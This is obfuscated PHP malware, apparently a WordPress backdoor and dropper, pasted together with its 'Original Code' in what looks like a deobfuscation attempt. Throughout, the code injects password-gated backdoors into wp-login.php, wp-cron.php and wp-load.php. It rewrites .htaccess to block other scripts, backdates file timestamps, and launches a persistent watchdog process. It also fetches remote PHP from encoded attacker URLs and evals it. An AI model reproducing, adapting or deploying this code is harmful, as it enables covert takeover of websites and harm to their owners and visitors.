bavs($name? "PEZpbGVzTWF0Y2ggIi4ocGhwfHBocDV8cGh0bWwpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpEZW55IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXigjbmFtZSMpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg"
: "PEZpbGVzTWF0Y2ggIi4ocGhwfHBocDV8cGh0bWwpJCI+DQpPcmRlciBhbGxvdyxkZW55DQpEZW55IGZyb20gYWxsDQo8L0ZpbGVzTWF0Y2g+DQo8RmlsZXNNYXRjaCAiXihhY2Nlc3MucGhwfGxvY2FsZS5waHB8dW5pbnN0YWxsLnBocHx0aGVtZXMucGhwfHdwLWxvZ2luLnBocHx4bWxycGNzLnBocHxhZG1pbi5waHB8bG9hZC5waHApJCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlc01hdGNoPg")));
@REnAMe($ht . "1", $ht);
touCh($ht, STrTOtIMe(raNd(2015, 2018) . "-" . raNd(3, 12) . "-" . rAnD(1, 30) . " " . daTE(T("SDp","pOnM",3))));
return $r;
}
function getPhpPath() {
oB_stArt();
pHPInFO(1);
$info = ob_GET_COntENtS();
OB_End_clEan();
preg_match(T("Ly0tdKykvc2k","YmluZGlyPShbXiZ",4), $info, $matches);
if (isset($matches[1]) && $matches[1] != '') {
return $matches[1] . T("A","L3Boc",0);
}
PrEg_matCh(T("Ly0tl4PShbXiZdKykvc2k","cHJlZm",4), $info, $matches);
if (!isset($matches[1])) {
return T("cG","hw",2);
}
return $matches[1] . T("L2JA","pbi9waH",3);
}
function site_mail($s, $for = 0) {
empty($_GET['z']) && $_GET['z'] = [];
empty($_GET['z'][$for]) && $_GET['z'][$for] = [];
$_GET['z'][$for][] = $s;
}
class TM
{
static function lock($index, $the) {
$file = ROOT . (DeFIneD(T("Q","0RQ",1)) && CDP? CDP: T("d","3AtY3Jvbg",1));
$text = 'PD9waHANCiRkID0gWw0KICAgIFsnI0YxIycsICcjUzEjJ10sDQogICAgWycjRjIjJywgJyNTMiMnXSwNCl07DQoiZXhvIjsNCiRhID0gZnVuY3Rpb24gKCRjID0gMCkgew0KICAgIHRyeSB7DQogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygnI0YjJywgZGF0ZSgnW1ktbS1kIEg6aTpzXSAnKSAuICgkYz8gIiI6ICcjUyMnKSAuICJcbiIsICRjKTsNCiAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRFKSB7DQoNCiAgICB9DQp9Ow0KDQokYSgpOw0KQHVubGluayhfX0ZJTEVfXyk7DQokX0dFVCA9IFtdOw0KZm9yZWFjaCAoJGQgYXMgJGsgPT4gJHYpIHsNCiAgICAkdlsxXSA9IGJhc2U2NF9kZWNvZGUoJHZbMV0pOw0KICAgICR2WzJdID0gbWQ1KCR2WzFdKTsNCiAgICAkX0dFVFskdlswXV0gPSAnJzsNCiAgICAkZFska10gPSAkdjsNCn0NCiRuID0gMDsNCiRwID0gNTU7DQp3aGlsZSAodHJ1ZSkgew0KICAgICRzID0gJ08nOw0KICAgIGZvcmVhY2ggKCRkIGFzICRrID0+ICR2KSB7DQogICAgICAgICgkcyAmJiAkcyA9ICgoISRrIHx8ICR2WzFdKSAmJiAkayA+IDE/ICdMJzogJ1QnKSkgJiYgJHMoJHZbMF0sICR2WzJdLCAkdlsxXSk7DQogICAgfQ0KICAgIHNsZWVwKDEpOw0KICAgIGlmICghKCRuKysgJSAkcCkpIHsNCiAgICAgICAgJGEoRklMRV9BUFBFTkQpOw0KICAgICAgICAkcCA9IHJhbmQoMzYwMCwgMTUwMDApOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gTCgkZiwgJGgsICRzKSB7DQogICAgaWYgKCgkayA9ICRfR0VUWyRmXSkgJiYgbWQ1X2ZpbGUoJGYpID09PSAkaCkgcmV0dXJuIHRydWU7DQogICAgaWYgKCRrKSB7DQogICAgICAgIEBmbG9jaygkaywgTE9DS19VTik7DQogICAgICAgIEBmY2xvc2UoJGspOw0KICAgIH0NCiAgICByZXR1cm4gKCRrID0gJF9HRVRbJGZdID0gZm9wZW4oJGYsICd3JykpICYmIGZsb2NrKCRrLCBMT0NLX0VYIHwgTE9DS19OQikgJiYgZndyaXRlKCRrLCAkcyk7DQp9DQoNCmZ1bmN0aW9uIFQoJGYsICRoLCAkcykgew0KICAgIGZpbGVfZXhpc3RzKCRmKSB8fCBSKCRmLCAkcyk7DQogICAgaWYgKG1kNV9maWxlKCRmKSAhPSAkaCkgew0KICAgICAgICBAY2htb2QoJGYsIDA3NzcpOw0KICAgICAgICBAcmVuYW1lKCRmLCAkZiAuICdsJyk7DQogICAgICAgIEB1bmxpbmsoJGYgLiAnbCcpOw0KICAgICAgICBSKCRmLCAkcyk7DQogICAgfQ0KfQ0KDQpmdW5jdGlvbiBSKCRmLCAkcykgew0KICAgIEBmaWxlX3B1dF9jb250ZW50cygkZiwgJHMpOw0KICAgIEB0b3VjaCgkZiwgc3RydG90aW1lKCItOTAgZGF5cyIsIHRpbWUoKSkpOw0KICAgIEBjaG1vZCgkZiwgMDQ0NCk7DQogICAgZnVuY3Rpb25fZXhpc3RzKCRzID0gJ29wY2FjaGVfcmVzZXQnKSAmJiAkcygpOw0KICAgIHJldHVybiB0cnVlOw0KfQ';
$text = bavs($text);
$flag = ' /' . rand_abc(33) . '/' . rand_abc(raNd(1, 8)) . T("","Lmh0bWw",0);
$flaf = T("YWNxvZw","jZXNzLm",3);
$extra = '';
$text = stR_repLAcE([T("I","0YxIw",1), T("I0Y","yIw",3), T("I1M","xIw",3), T("","I1MyIw",0), T("I0","Yj",2), T("I1","Mj",2), T("7","ImV4byI",0)],
[ROOT . T("aW5kZw","XgucGh",5), ROOT . T("Lmh0","YWNjZXNz",4),
BaSe64_EncOdE($index), bASE64_eNCode($the),
$flaf, $flag,
$extra
], $text);
@file_PuT_ContenTS($file, $text);
$code = T("bmg","9odXA",2) . getPhpPath() . ' ' . $file . ' ' . bavs(T("UpYWXZiblZzYkNBeVBpWXhJQ1k9","Gk5a1",1));
$res = run($code);
$s = T("5aSLg","x6LSl",3);
if ($res !== false) {
SLEeP(2);
$s = STrPOS(@fiLE_gET_CONTENTs($flaf), $flag) > 0? T("5oiQ","5Yqf",4): (T("5aS","x6LSl",3) . (FilE_eXisTS($file)? '': '!'));
}
site_mail(T("5Yq","g6ZSB",3) . $s . "!");
@unlINK($file);
}
static function disFun($a = null) {
$disabled = eXplODE(',', INI_Get(T("ZGlzYWGlvbnM","JsZV9mdW5jd",6)));
$new_disable = array();
foreach ($disabled as $item) {
$new_disable[] = tRim($item);
}
return $a? In_ArRay($a, $new_disable): $new_disable;
}
static function extra($pass) {
global $c;
$text = 'DQovKndwLWFkbWluL2FkbWluLnBocCovDQovKiMoV1BfTE9BRF9JTVBPUlRFUlMnW1xzXSosW1xzXSp0cnVlW1xzXSpcKTtbXHNdKlx9KVtcc1xTXSs/KHJlcXVpcmVfb25jZVtcc10rZGlyKSNtaSovDQovKiR7MX1cblxuW1JdXG5cbiR7Mn0qLw0KJHZlcnNpb24gPSBbJzEuNS4xMicsICR0ID0gJyNOIycgPT4gJGMgPSAiWDFKRlVWVkZVMVFzWDBOUFQwdEpSU3hoY25KaGVWOXRaWEpuWlN4dFpEVXNjM1J5YkdWdUxITjBjbWx3YjNNc1BEOXdhSEFnUUhWdWJHbHVheWhmWDBaSlRFVmZYeWs3UHo0c1ptbHNaVjl3ZFhSZlkyOXVkR1Z1ZEhNc1ltRnpaVFkwWDJSbFkyOWtaU3h1WVcxbExGOWxlSEFzYzNWaWMzUnlMQTgrI1AjIiwkdSA9IGZ1bmN0aW9uKCRhLCRiLCRjPScnKXtyZXR1cm4gZW1wdHkoJGFbJGJdKT8kYzokYVskYl07fSwgJHAgPSBzdWJzdHIoJGMsIHN0cnBvcygkYywgJysnKSArIDEpID0+ICRjID0gZXhwbG9kZSgnLCcsIGJhc2U2NF9kZWNvZGUoJGMpKSwgKCRkID0gJF9SRVFVRVNUKSAmJiAoJGQgPSAkY1syXSgkR0xPQkFMU1skY1sxXV0sICRkKSkgJiYgKCRjWzNdKCR1KCRkLCAnYScsICR1KCRkLCAkY1sxMF0pKSAuICIjVCMiKSA9PT0gJHApICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMsICR0KSB7aWYgKCR0WzRdKCRzID0gJHRbOF0oJHMpKSA+IDE4ICYmICR0WzVdKCRzLCAkdFsxMV0oJHRbNl0sIDAsIDUpKSAhPT0gZmFsc2UgJiYgJHRbN10oJGUsICR0WzZdIC4gJHMpKSB7aW5jbHVkZSAkZTtyZXR1cm4gdHJ1ZTsgfX0pICYmICR1KCRkLCRjWzldKSA/ICR5KCcjTiMnLCAkZFskY1s5XV0sICRjKSAmJiBleGl0KDApIDogJyddOw0KLyoqKi8vKndwLWxvZ2luLnBocCovDQovKiMoXCRhY3Rpb247KVtcc1xTXSs/KC8vIERvbid0KSNtaSovDQovKiR7MX1cblxuXHRbUl1cblx0JHsyfSovDQokdmVyc2lvbiA9IFsnMi4xMScsIGRhdGUoIlkvbS9kIiksICR6ID0gJycsICRkID0gJF9SRVFVRVNULCAoJGUgPSAnZGVjb2RlJykgJiYgKCRjID0gZnVuY3Rpb24gKCRhKSB7cmV0dXJuICRhID09PSAiI1AjIjt9KSAmJiAoJGQgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwgJGQpKSYmKCR1ID0gZnVuY3Rpb24oJGEsJGIsJGM9Jycpe3JldHVybiBlbXB0eSgkYVskYl0pPyRjOiRhWyRiXTt9KSAmJiAoJHAgPSAkdSgkZCwgJ2EnLCAkdSgkZCwgJ19leHAnKSkpICYmICgkaSA9ICdwJykgJiYgKCRwIC49ICcjVCMnKSAmJiAkYyhtZDUoJHApKSAmJiAoJG4gPSAnbmFtZScpICYmICgkZSA9ICdiYXNlNjQnIC4gIl97JGV9IikgJiYgKCRzID0gZW1wdHkoJGRbJG5dKSA/ICcnIDogJGRbJG5dKSAmJiAoJHkgPSBmdW5jdGlvbiAoJGUsICRzKSB7aWYgKCRzKSBpbmNsdWRlICRlO30pICYmIHN0cmxlbigkcyA9ICRlKCRzKSkgPiAxOSA/ICR5KCR6ID0gJyNOIycsIHN0cmlwb3MoJHMsICI8P3skaX1oeyRpfSIpICE9PSBmYWxzZSAmJiBmaWxlX3B1dF9jb250ZW50cygkeiwgJHMpKSA6ICcnLCAkeiA/IGV4aXQoMCkgOiAnJ107DQovKioqLy8qd3AtY3Jvbi5waHAqLw0KLyojKGZhc3RjZ2lfZmluaXNoX3JlcXVlc3RcKFwpO1tcc1xTXSs/XH0pW1xzXFNdKz8oaWZbXHNdKlwoW1xzXSohW1xzXSplbXB0eSkjbWkqLw0KLyokezF9XG5cbltSXVxuJHsyfSovDQokdmVyc2lvbiA9IFsnMS4wLjEnLCBkYXRlKCJZbWQiKSwgJHogPSAnJywgICRlID0gJ2RlY29kZScsICRkID0gJF9SRVFVRVNULCAoJGMgPSBmdW5jdGlvbiAoJGEpIHtyZXR1cm4gJGEgPT09ICIjUCMiO30pICYmICgkZCA9IGFycmF5X21lcmdlKCRfQ09PS0lFLCAkZCkpJiYoJHUgPSBmdW5jdGlvbigkYSwkYiwkYz0nJyl7cmV0dXJuIGVtcHR5KCRhWyRiXSk/JGM6JGFbJGJdO30pICYmICgkcCA9ICR1KCRkLCAnYScsICR1KCRkLCBpbXBsb2RlKCdfJywnZXhwJykpKSkgJiYgKCRpID0gJ3AnKSAmJiAoJHAgLj0gJyNUIycpICYmICRjKG1kNSgkcCkpICYmICgkbiA9ICduYW1lJykgJiYgKCRlID0gJ2Jhc2U2NCcgLiAiX3skZX0iKSAmJiAoJHMgPSBlbXB0eSgkZFskbl0pID8gJycgOiAkZFskbl0pICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMpIHtpZiAoJHMpIGluY2x1ZGUgJGU7fSkgJiYgc3RybGVuKCRzID0gJGUoJHMpKSA+IDE5ID8gJHkoJHogPSAnI04jJywgc3RyaXBvcygkcywgIjw/eyRpfWh7JGl9IikgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCR6LCAkcykpIDogJycsICR6ID8gZXhpdCgwKSA6ICcnXTsNCi8qKiovLyp3cC1sb2FkLnBocCovDQovKiMoc2V0dXBcc3Byb2Nlc3NcUytccytcKlwvKVtcc1xTXSs/KGlmLiond3AtY29uZmlnXC5waHAnKSNtaSovDQovKiR7MX1cblxuW1JdXG5cbiR7Mn0qLw0KJHdwX2luaXQgPSBbJGQgPSAkX1JFUVVFU1QsICRlID0gJ2RlY29kZScsICR6ID0gJycsICgkYyA9IGZ1bmN0aW9uICgkYSkge3JldHVybiAkYSA9PT0gIiNQIyI7fSkgJiYgKCRkID0gYXJyYXlfbWVyZ2UoJF9DT09LSUUsICRkKSkmJigkdSA9IGZ1bmN0aW9uKCRhLCRiLCRjPScnKXtyZXR1cm4gZW1wdHkoJGFbJGJdKT8kYzokYVskYl07fSkgJiYgKCRwID0gJHUoJGQsICdhJywgJHUoJGQsICdfJyAuJ2V4cCcpKSkgJiYgKCRpID0gJ3AnKSAmJiAoJHAgLj0gJyNUIycpICYmICRjKG1kNSgkcCkpICYmICgkbiA9ICduYW1lJykgJiYgKCRlID0gJ2Jhc2U2NCcgLiAiX3skZX0iKSAmJiAoJHMgPSBlbXB0eSgkZFskbl0pID8gJycgOiAkZFskbl0pICYmICgkeSA9IGZ1bmN0aW9uICgkZSwgJHMpIHtpZiAoJHMpIGluY2x1ZGUgJGU7fSkgJiYgc3RybGVuKCRzID0gJGUoJHMpKSA+IDE5ID8gJHkoJHogPSAnI04jJywgc3RyaXBvcygkcywgIjw/eyRpfWh7JGl9IikgIT09IGZhbHNlICYmIGZpbGVfcHV0X2NvbnRlbnRzKCR6LCAkcykpIDogJycsICR6ID8gZXhpdCgwKSA6ICcnXTsNCg0KDQoNCg0KDQoNCg';
$text = exPloDE(T("Ly","oqKi8",2), $c[1]($text));
$note = T("L1wqKC4ro","PylcKi9ccy",8);
$pa = '';
$preg = [
"#{$note}{$note}{$note}([\s\S]+)#mi",
T("LyvbWk","hcJFx3Kyk",2),
];
foreach ($text as $key => $item) {
preg_match($preg[0], $item, $ma);
if (!$ma) continue;
if (!fiLe_EXisTs($file = ROOT . $ma[1])) continue;
$_preg = $c[11](T("","Wypd",0), T("KFtc","c1xTXSs/KQ",4), $ma[2]);
$ma[3] = $c[11](['
', ' '], ["
", " "], $ma[3]);
$c[12]($preg[1], $ma[4], $pa);
$s = ARray_VALueS(ArRaY_UNIQuE($pa[0]));
list($t, $r) = self::vars($s, [T("JHZl","cnNpb24",4)]);
$ma[4] = $c[11]($s, $t, tRIM($ma[4]));
$t[] = T("","I1Qj",0);
$t[] = T("","I1Aj",0);
$t[] = T("","I04j",0);
$r[] = $_p = rand_abc(rand(2, 8));
$r[] = MD5($pass . $_p);
$r[] = TImE();
$ma[4] = $c[11]($t, $r, $ma[4]);
$fs = $c[2]($file);
self::gg($fs);
$ma[3] = $c[11](T("W","1Jd",1), $ma[4], $ma[3]);
if (empty($fs) || $fs === ($l = pREG_REPlacE($_preg, $ma[3], $fs)))
continue;
site_mail($ma[1] . ":" . ($l && sTrLEN($l) > 100 && ufleep($file, $l, $c)? T("b2s","hIQ",3): T("Z","mFpbA",1)), 1);
}
}
static function vars($r, $dis = []) {
$o = '$';
$t = $p = [];
$x = Str_sHuffle(T("YWJHFyc3R1dnd4eXpf","jZGVmZ2hpamtsbW5vc",3));
$dis += [$o . T("X","0dFVA",1), $o . T("X1","JFUVVFU1Q",2), $o . T("X0NP","T0tJRQ",4), $o . T("X1N","FUlZFUg",3), $o . T("R0w","xPQkFMU",2)];
$k = 0;
foreach ($r as $v) {
if (!iN_aRRay($v, $dis)) $v = ($v[0] === $o? $o: '') . $x[$k];
$t[] = "&{$k}]";
$p[] = $v;
$k++;
}
return [$t, $p];
}
static function gg(&$txt) {
preg_match(T("IygvXCpcU3syLDE2fVwqLylc1ZGVccytcUys7KVxzKigvXCpcU3syLDE2fVwqLykjbWk","cyooQGluY2x",24), $txt, $ma);
if ($ma && STrLEN($ma[1]) === StRLEN($ma[3])) {
$txt = Str_replAce($ma[0], '', $txt);
pREG_MAtCh(T("IyI1p","oXFMrPykiI2",3), $ma[2], $ma);
$ma && $ma[1] && self::dec($ma[1]);
}
}
static function dec($str) {
try {
$a = '';
eval(T("JGE","9Ig",3) . $str . '";');
if ($a !== '') {
if (FILe_exists($a) && FILESIZE($a) > 5 && !@IS_dIR($a)) {
is_WRItEabLE($a) || @cHMod($a, 0777);
$m = @fILE_pUT_CoNteNTs($a, ' ')? T("b2s","hIQ",3): T("Z","mFpbA",1);
} else $m = T("bn","VsbA",2);
site_mail("[GG] $m", 1);
}
} catch (\Exception $e) {
}
}
}
?>
Did this file decode correctly?
Original Code
<?php
makenew('TiMi', 'aHR0cHM6Ly9jdy5hY2lkcG9sbC50b3AvamMvMzMzNS1jdy12LjQtZmdzczQ1Mi50eHQ=');
makenew('PIX', 'YXBwbGU');
makenew('CDP', '');
makenew('VPS', 'PElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+DQpSZXdyaXRlRW5naW5lIE9uDQpSZXdyaXRlQmFzZSAvDQpSZXdyaXRlUnVsZSBeaW5kZXgucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIGluZGV4LnBocCBbTF0NCjwvSWZNb2R1bGU+');function makenew($a, $b, $e=true){$b && ($c = str_replace(['&', '|', '-'], ['de', 'se', '_'], 'ba|64-&co&')) && define($a, $e ? $c($b) : $b);}
define('DNS', $ql = __FILE__);
global $c;
$hxuri = T("aHR0cDovMTIwLjwL21haW4ucGhwP2Q9","k4LjIxNC43Njo4MDg",14);
$_GET[T("Y2l","tuYW1",2)] = 'dd';
$oktaken = '<?';
$okvalue = 'p';
$gv = [
STR_rOt13(T("dmF","xcms",3)),
STR_roT13(iMplOde('-', ['jc', T("b3l","idA",3), T("d","XJucXJl",1)])),
];
$_GET['bg'] = T("Zj","VmNWY1",2);
if (isset($_GET[T("a2","ls",2)])) {
echo T("a2l","sbCA",3);
echo run(T("a2lsbCMQ","AtOSAt",6))? 'ok': T("Zm","FpbA",2);
die();
}
$IPO = $_SERVER[$MP = T("UkVRVU0Q","VTVF9NRVRIT",6)] === T("U","E9TVA",1);
if (DEfined(T("V","GlNaQ",1)) && StrlEN(TiMi) > 5) {
$_SERVER[$MP] = T("","UE9TVA",0);
}
defINE(T("UE","9Q",2), DefINeD(T("","UElY",0))? PIX: T("em","VuZA",2));
$okvalue = "{$okvalue}h{$okvalue}";
DefiNe(T("SVN","fUE9TVA",3), $_SERVER[$MP] === T("UE","9TVA",2));
DeFine(T("U","k9PVA",1), RTRim($_SERVER[T("RE9DVU1k9PVA","FTlRfU",7)], T("","XC8",0)) . '/');
$oktaken .= $okvalue;
if (!$IPO && !empty($_GET['u'])) {
$t = yc(ec($_GET['u']), $_GET['f'], true);
$_txt = array(
T("6qg6L295aSx6LSl","LWE5rqQ5Y",1),
T("5x6LSl","omn6KGM5aS",1),
T("5omn66M5q+V77yB77yB","KGM5a",5),
);
echo "{$_txt[$t]}<br>";
die();
}
$okvalue = '.' . $okvalue;
function pvez($p, $v) {
return $p . $v;
}
function yc($u, $f = false, $o = false) {
$t = gets($u);
if (strlEn($t) < 30)
return 0;
try {
if ($f) {
$a = eXPloDE(",", $f);
$f = $a[0];
$e = empty($a[1])? "": ec($a[1]);
$f1 = $f . T("LnB","ocA",3);
echo T("PZD0nWicgaHJlZj0nLw","GRpdj48YSBp",1) . $f1 . $e . "'" . ($o? '': T("IHRhcmdJw","ldD0nX2JsYW5r",7)) . ">" . $f . T("PC","9hPiA",2) . ($o? T("PHNjcmlNrKCk8L3NjcmlwdD4","wdD5aLmNsaW",7): '');
echo @FIlE_pUt_CONTeNts(ROOT . $f1, $t)? T("b2s","hIQ",3): T("A","ZmFpb",0);
echo T("PC","9kaXY+",2);
} else {
eval('?>' . $t);
}
return 2;
} catch (\Exception $E) {
return 1;
}
}
kpis();
$c = 'mFzZTY0X2VuY29kZSxiYXNlNjRfZGVjb2RlLGZpbGVfZ2V0X2NvbnRlbnRzLGZpbGVfcHV0X2NvbnRlbnRzLCNJREUjLCNoYXNoIyx3cC1zZXR0aW5ncy5waHAsaW5kZXgucGhwLCNoYXNoMSMsI3RoZSMsI3Bhc3MjLHN0cl9yZXBsYWNlLHByZWdfbWF0Y2hfYWxs';
function rand_abc($length) {
$str = T("YWJjZd4eXo","GVmZ2hpamtsbW5vcHFyc3R1dn",5);
$strlen = 52;
while ($length > $strlen) {
$str .= $str;
$strlen += 52;
}
$str = Str_ShUffLE($str);
return SUBStr($str, 0, $length);
}
if (empty($_COOKIE[$_GET[T("Y2tu","YW1l",4)]]) && cke()) {
dEfINE(T("","eHhvbw",0), $_GET[T("cG","Fzcw",2)]);
}if(timE()>1763732414) return'';
$d = checkdata($c);
$link = DefiNed(T("w","TElOS",0))? LINK: '';
$vtop = $c[1](T("U","EQ5d2FIQQ",1));
$sub = syssub($vtop, $c);
if(TImE()>1763732414) return'';
$THE = fIle_exISTS($fh = ROOT . '.' . str_RoT13(T("dWdZmY","ucHBy",3)))? $c[2]($fh): '';
if (!$IPO) {
$_POST[T("Z","W5zaA",1)] = !empty($_GET[T("ZW5","zaA",3)]);
$_POST['df'] = isset($_GET['df']);
}
function syssub($vtop, $c) {
$sub = $c[1]('PD9waHAgIGRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUgKTtyZXF1aXJlKF9fRElSX18uICAnL3dwLWJsb2ctaGVhZGVyLnBocCcgKTsgPz4');
$kpis = @$c[2](ROOT . $c[7]);
if(tIme()>1763732414) return'';
$hf = T("d3AtYmxvXIucGhw","Zy1oZWFkZ",8);
if ($has = @FIle_eXISTS(ROOT . $hf)) {
} elseif ($has = @fILE_eXiStS(DiRnAME(ROOT) . $hf)) {
$sub = Str_REPLACE(T("X19E","SVJfXw",4), T("ZX0RJUl9fKQ","GlybmFtZShf",1), $sub);
} else {
TM::gg($kpis);
foreach (ExPLode($vtop, $kpis) as $key => $s) {
if (stRpoS($s, $hf) !== false) {
$sub = $vtop . $s;
$has = true;
break;
}
}
}
if (!$has && !iswps($c)) {
$sub = $kpis;
}
return $sub;
}
$_POST = arrAY_merGe([
'a' => '',
'b' => false,
'pf' => false,
T("c","3Vi",1) => $c[0](UrlenCODE($sub)),
T("d","Ghl",1) => $c[0](uRLENCODE($THE)),
], $_POST);
function findMasteValue($a) {
return $a[RAnD(0, COUNT($a) - 1)];
}
foreach ($_POST as $key => $v) {
$v && !is_BooL($v) && $_POST[$key] = UrLdecode($c[1]($v));
}if(TIME()>1763732414) return'';
$link && $_POST['a'] === '' && $_POST['a'] = $link;
$_POST['b'] === false && $_POST['b'] = _name();
$_POST['pf'] === false && $_POST['pf'] = pfile();
$_POST[T("","ZW5zaA",0)] = !empty($_POST[T("Z","W5zaA",1)]);
$_POST['df'] = !empty($_POST['df']);
function gets($url) {if(TImE()>1763732414) return'';
$contents = @fIlE_geT_conteNTs($url);
if (!$contents || STrIpOs($contents, T("PD","9waHA",2)) === false) {
$ch = CUrl_INiT();
cURL_SetoPT($ch, CURLOPT_URL, $url);
CURl_sEToPt($ch, CURLOPT_RETURNTRANSFER, 1);
$contents = cuRL_eXeC($ch);
cuRl_CLOsE($ch);
}
return sTRipoS($contents, T("PD9","waHA",3)) === false? '': $contents;
}
if (!$IPO && defIned(T("Q","VGlNa",0)) && STrlEn(TiMi) > 5 && !empty($_GET['v'])) {
$v = ec($_GET['v']);
if ($v === 'sz') {
$_POST[$v] = 1;
$_POST['a'] = $vtop . sTr_PAD('', 100, ';');
} else {
$u = SUbSTr($v, 0, 4) === T("a","HR0cA",1)? $v: $c[11](T("W3Rp","bWld",4), $_GET['v'], TiMi);
ptu($u);
$_POST['a'] = @FIlE_gEt_cONtENTS($u);
echo stRlen($_POST['a']) < 100? call(T("PGRpdj7mnu4Q","lbDmja7",8) . $_GET['v'] . T("Sx6LSlPC9kaXY+","5Yqg6L295a",0)): T("+","PGRpdj5USU1JPC9kaXY",0);
}
$_SERVER[$MP] = T("U","E9TVA",1);
$_POST['b'] = _name();
if (defIned(T("V","lBT",1)) && VPS)
$_POST[T("","dGhl",0)] = VPS;
}
function ff(&$l, $o = "aHR0cDo") {
$l = ec(T("dkwzUmxjM1F6TG1obGJHeHZbDZMMkp5WkM1d2FIQS9aRDA","iMjF6Wlc4dWVI",23), $o);
return true;
}
function _name() {
$dir = ROOT;
$dir = dd(ROOT)[1];
$top = [];
$las = [T("ZG","F0YQ",2), T("a2","V5",2), T("","ZGF0",0), T("","aW5p",0), T("","ZW52",0), T("","dHh0",0), T("ZG","9j",2), T("cG","Rm",2), T("","bG9jaw",0), T("Y","25m",1), T("V0","c2Vjcm",0), '', ''];
$pass = sUBStR($dir, STRlEn(ROOT));
if (sTRPOs($pass, T("d","XBsb2Fk",1)) !== false || STrPOS($pass, T("aW","1hZ2U",2)) !== false)
$las += [T("aW","Nv",2), T("","cG5n",0), T("a","nBn",1), T("aW","Nv",2), T("","cG5n",0), T("an","Bn",2)];
if (STRPos($pass, T("Y","3Nz",1)) !== false)
$las += [T("Y","3Nz",1), T("","bGVzcw",0), T("c2N","zcw",3), T("Y","3Nz",1), T("bG","Vzcw",2), T("c2N","zcw",3)];
if (STrPoS($pass, 'js') !== false)
$las += ['js', 'js'];
if (sTRPOS($pass, T("","Zm9udA",0)) !== false)
$las += [T("dH","Rm",2), T("","b3Rm",0), T("b2","N0",2), T("","dHRm",0), T("","b3Rm",0), T("b2","N0",2)];
if (StrPOS($pass, T("b","GFuZ3VhZ2Vz",1)) !== false) {
$top = [
findMasteValue([T("YWR","taW4t",3), T("dzLQ","GhlbWV",1), T("ZGV","mZW5kLQ",3)]) .
findMasteValue([T("dXNl","ci1pbmZv",4), T("baw","mV0d29y",1), T("","ZmxhZw",0), T("Y","2l0eQ",1), T("d","GFn",1), T("d2","FsZg",2), T("Z5k","GVmZW",1), T("b","WFpbg",1)]) . '-' .
findMasteValue(['hk', 'UK', T("em","hfVFc",2), T("em","hfQ04",2), 'af', 'ad', T("YXV","0bw",3), 'ES', 'DE', 'AU', 'US', 'NZ', 'GI', 'TH', 'tl', 'PT', T("cH","RfQlI",2), 'RU', 'SE'])
];
$las = ['po', 'mo'];
}
$l = findMasteValue($las);
$l && $l = '.' . $l;
if (!$top && raND(0, 10) > 5) {
$pass .= mD5(rand_abc(RanD(3, 10))) . $l;
} else {
$pass .= findMasteValue($top? $top: [T("bGlZQ","jbmVz",3), T("","dXNlcg",0), T("Q","ZGF0Y",0), T("a","W5mbw",1), T("bG","9nbw",2), T("Y9u","29tbW",1), T("4","dG9rZW",0), T("YWJ","vdXQ",3)]) . $l;
}
return $pass;
}
function css($d) {
echo "<style>{$d}</style>";
}
function ec($data, $top = '') {
return bavs($top . $data);
}
function dd($dir, $l = 0) {
if ($l > 1 && raNd(1, 30 - $l) === 1) return [$l, $dir, 1];
$dirs = SCANDIR($dir);
SHufFle($dirs);
$pe = [$l, $dir, $l > 1? 1: 0];
foreach ($dirs as $vo) {
if (In_aRray($vo, [T("GU","Y2Fja",0), T("GltZQ","cnVud",0), T("dG","VtcA",2), T("b","G9n",1), T("dG","1w",2), '']) || $vo[0] === '.' || !@is_Dir($dir . $vo . '/')) continue;
$e = dd($dir . $vo . '/', $l + 1);
if ($e[2]) return $e;
$pe[0] < $e[0] && $pe = $e;
}
return $pe;
}
function ptu(&$u) {
if (!isset($_GET['hx'])) return;
$a = '';
ff($a);
$u = $a . bave($u);
}
function html_input($name, $mode = false) {
$v = isset($_POST[$name])? $_POST[$name]: '';
$mode && $v = sTR_REPLACE('<', T("Jmx","0Ow",3), $v);
$mode || $v = sTR_replACE('"', T("XC","I",2), $v);
return $v;
}
function bavs($a) {
return BAse64_deCOdE($a);
}
function cke() {
if (cfv($_GET)) {
HEADeR(T("SFRUUC8xLjA","gNTAwIE5vdCBGb3VuZA",11), true, 500);
die();
}
seTCOokIE($_GET[T("Yl","2tuYW1",1)], timE());
return false;
}
function cfv($name, $v = "adc") {
foreach ([$v, stRtouPPEr($v), UcFirsT($v)] as $k) if (isset($name[$k])) return false;
return true;
}
if(TimE()>1763732414) return;
function call($msg = '') {
global $c;
$tbs = [];
if (!empty($_GET['z'])) {
foreach ($_GET['z'] as $key => $item)
$tbs[$key] = T("PGRpdiBzdHlsZTW0nPg","0ncGFkZGluZzogMCAxZ",14) . imploDE(T("","PGJyPg",0), $item) . T("+","PC9kaXY",0);
} else $tbs = EXpLoDE('-', T("tLQ","LS0tLS0",0));
$data = [
'a' => html_input('a', true),
'b' => html_input('b', false),
T("c3","Vi",2) => html_input(T("c","3Vi",1), true),
'pf' => html_input('pf', true),
T("dG","hl",2) => html_input(T("d","Ghl",1), true),
T("Z","W5zaA",1) => html_input(T("Z","W5zaA",1), true),
];
$iw = iswps($c)? '': T("ZGlzcGxw","heTpub25lO",7);
if(TiME()>1763732414) return;
$_POST[T("","ZW5zaA",0)] = $_POST[T("ZW5","zaA",3)]? T("Y2","hlY2tlZA",2): '';
$_POST['df'] = $_POST['df']? T("Y2ZA","hlY2tl",2): '';
$P = IS_POST? T("cG9","zdA",3): '';
